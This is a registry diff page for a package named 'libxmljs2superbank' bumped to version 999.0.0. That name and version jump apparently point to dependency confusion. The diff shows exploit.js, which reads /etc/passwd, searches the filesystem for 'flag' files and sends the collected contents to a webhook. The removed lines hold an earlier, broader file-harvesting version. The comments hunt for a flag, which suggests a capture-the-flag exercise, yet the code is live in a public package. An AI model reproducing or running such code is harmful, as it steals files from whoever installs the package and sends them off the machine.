libxmljs2superbank 0.31.0 → 999.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/exploit.js +25 -51
- package/package.json +1 -1
package/exploit.js
CHANGED
|
@@ -30,59 +30,33 @@ function sendToWebhook(data) {
|
|
|
30
30
|
|
|
31
31
|
let collectedData = '';
|
|
32
32
|
|
|
33
|
-
//
|
|
34
|
-
|
|
35
|
-
'/etc/passwd',
|
|
36
|
-
'/
|
|
37
|
-
|
|
38
|
-
'/
|
|
39
|
-
|
|
40
|
-
|
|
41
|
-
'
|
|
42
|
-
|
|
43
|
-
];
|
|
44
|
-
|
|
45
|
-
searchPaths.forEach(path => {
|
|
46
|
-
try {
|
|
47
|
-
const content = fs.readFileSync(path, 'utf8');
|
|
48
|
-
console.log(`=== FOUND: ${path} ===`);
|
|
49
|
-
console.log(content);
|
|
50
|
-
collectedData += `=== ${path} ===\n${content}\n\n`;
|
|
51
|
-
|
|
52
|
-
if (content.includes('{') && content.includes('}')) {
|
|
53
|
-
console.log(`🚨 FLAG FOUND IN ${path}:`, content);
|
|
54
|
-
}
|
|
55
|
-
} catch(e) {
|
|
56
|
-
collectedData += `Not found: ${path}\n`;
|
|
33
|
+
// Читаем /etc/passwd
|
|
34
|
+
try {
|
|
35
|
+
const passwd = fs.readFileSync('/etc/passwd', 'utf8');
|
|
36
|
+
console.log('=== /etc/passwd ===');
|
|
37
|
+
console.log(passwd);
|
|
38
|
+
collectedData += '=== /etc/passwd ===\n' + passwd + '\n';
|
|
39
|
+
|
|
40
|
+
// Ищем флаг
|
|
41
|
+
if (passwd.includes('{') && passwd.includes('}')) {
|
|
42
|
+
console.log('🚨 FLAG FOUND IN /etc/passwd!');
|
|
57
43
|
}
|
|
58
|
-
})
|
|
44
|
+
} catch(e) {
|
|
45
|
+
collectedData += 'Error reading /etc/passwd: ' + e.message + '\n';
|
|
46
|
+
}
|
|
59
47
|
|
|
60
|
-
//
|
|
61
|
-
exec('
|
|
62
|
-
if (!err) {
|
|
63
|
-
|
|
48
|
+
// Ищем файлы с флагом
|
|
49
|
+
exec('find / -name "*flag*" 2>/dev/null | head -10', (err, stdout) => {
|
|
50
|
+
if (!err && stdout) {
|
|
51
|
+
console.log('=== FLAG FILES ===');
|
|
52
|
+
console.log(stdout);
|
|
53
|
+
collectedData += '=== FLAG FILES ===\n' + stdout + '\n';
|
|
64
54
|
}
|
|
65
55
|
|
|
66
|
-
//
|
|
67
|
-
|
|
68
|
-
|
|
69
|
-
|
|
70
|
-
|
|
71
|
-
|
|
72
|
-
const files = stdout.trim().split('\n');
|
|
73
|
-
files.forEach(file => {
|
|
74
|
-
try {
|
|
75
|
-
const content = fs.readFileSync(file, 'utf8');
|
|
76
|
-
collectedData += `=== CONTENT OF ${file} ===\n${content}\n\n`;
|
|
77
|
-
console.log(`Content of ${file}:`, content);
|
|
78
|
-
} catch(e) {}
|
|
79
|
-
});
|
|
80
|
-
}
|
|
81
|
-
|
|
82
|
-
// Отправляем все данные
|
|
83
|
-
sendToWebhook(collectedData);
|
|
84
|
-
|
|
85
|
-
console.log('=== ALL COLLECTED DATA ===');
|
|
86
|
-
console.log(collectedData);
|
|
87
|
-
});
|
|
56
|
+
// Отправляем данные
|
|
57
|
+
sendToWebhook(collectedData);
|
|
58
|
+
|
|
59
|
+
// Выводим в консоль
|
|
60
|
+
console.log('=== ALL DATA ===');
|
|
61
|
+
console.log(collectedData);
|
|
88
62
|
});
|